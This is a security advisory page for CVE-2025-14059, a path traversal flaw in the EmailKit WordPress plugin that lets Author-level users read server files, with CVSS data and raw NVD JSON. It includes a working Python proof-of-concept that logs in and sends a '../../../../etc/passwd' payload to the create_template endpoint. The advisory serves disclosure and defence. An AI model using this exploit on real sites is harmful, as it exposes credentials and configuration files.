Security Vulnerability Report
中文
CVE-2025-14059 CVSS 6.5 MEDIUM

CVE-2025-14059

Published: 2026-01-07 12:16:52
Last Modified: 2026-04-15 00:35:42

Description

The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read via Path Traversal in all versions up to, and including, 1.6.1. This is due to missing path validation in the create_template REST API endpoint where user-controlled input from the emailkit-editor-template parameter is passed directly to file_get_contents() without sanitization. This makes it possible for authenticated attackers with Author-level permissions or higher to read arbitrary files on the server, including sensitive configuration files like /etc/passwd and wp-config.php, via the REST API. The file contents are stored in post meta and can be exfiltrated through MetForm's email confirmation feature.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

EmailKit WordPress Plugin <= 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14059 PoC - EmailKit Arbitrary File Read # Target: WordPress site with EmailKit plugin <= 1.6.1 target_url = "http://target-wordpress-site.com" # Authentication - Requires Author-level user credentials username = "attacker_username" password = "attacker_password" # Login to get authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session = requests.Session() login_response = session.post(login_url, data=login_data) # Check if login was successful if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") exit(1) print("[+] Login successful") # Exploit the path traversal vulnerability # Target file: /etc/passwd or wp-config.php api_url = f"{target_url}/wp-json/emailkit/v1/create_template" # Path traversal payload to read /etc/passwd payload = { "emailkit-editor-template": "../../../../etc/passwd" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "your-wp-nonce" # May need to fetch from page source } # Send exploit request response = session.post(api_url, json=payload, headers=headers) if response.status_code == 200: print("[+] File read successful") print("=" * 50) print(response.text) print("=" * 50) else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14059", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read via Path Traversal in all versions up to, and including, 1.6.1. This is due to missing path validation in the create_template REST API endpoint where user-controlled input from the emailkit-editor-template parameter is passed directly to file_get_contents() without sanitization. This makes it possible for authenticated attackers with Author-level permissions or higher to read arbitrary files on the server, including sensitive configuration files like /etc/passwd and wp-config.php, via the REST API. The file contents are stored in post meta and can be exfiltrated through MetForm's email confirmation feature."}, {"lang": "es", "value": "El plugin EmailKit para WordPress es vulnerable a la lectura arbitraria de archivos a través de salto de ruta en todas las versiones hasta la 1.6.1, inclusive. Esto se debe a la falta de validación de ruta en el endpoint de la API REST create_template, donde la entrada controlada por el usuario del parámetro emailkit-editor-template se pasa directamente a file_get_contents() sin sanitización. Esto hace posible que atacantes autenticados con permisos de nivel de Autor o superiores lean archivos arbitrarios en el servidor, incluyendo archivos de configuración sensibles como /etc /passwd y wp-config.php, a través de la API REST. El contenido del archivo se almacena en post meta y puede ser exfiltrado a través de la función de confirmación de correo electrónico de MetForm."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/emailkit/trunk/includes/Admin/Api/CheckForm.php#L163", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3419280%40emailkit%2Ftrunk&old=3373383%40emailkit%2Ftrunk&sfp_email=&sfph_mail=#file1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/91ebe8cb-99ec-4380-a77e-17e17144a17e?source=cve", "source": "[email protected]"}]}}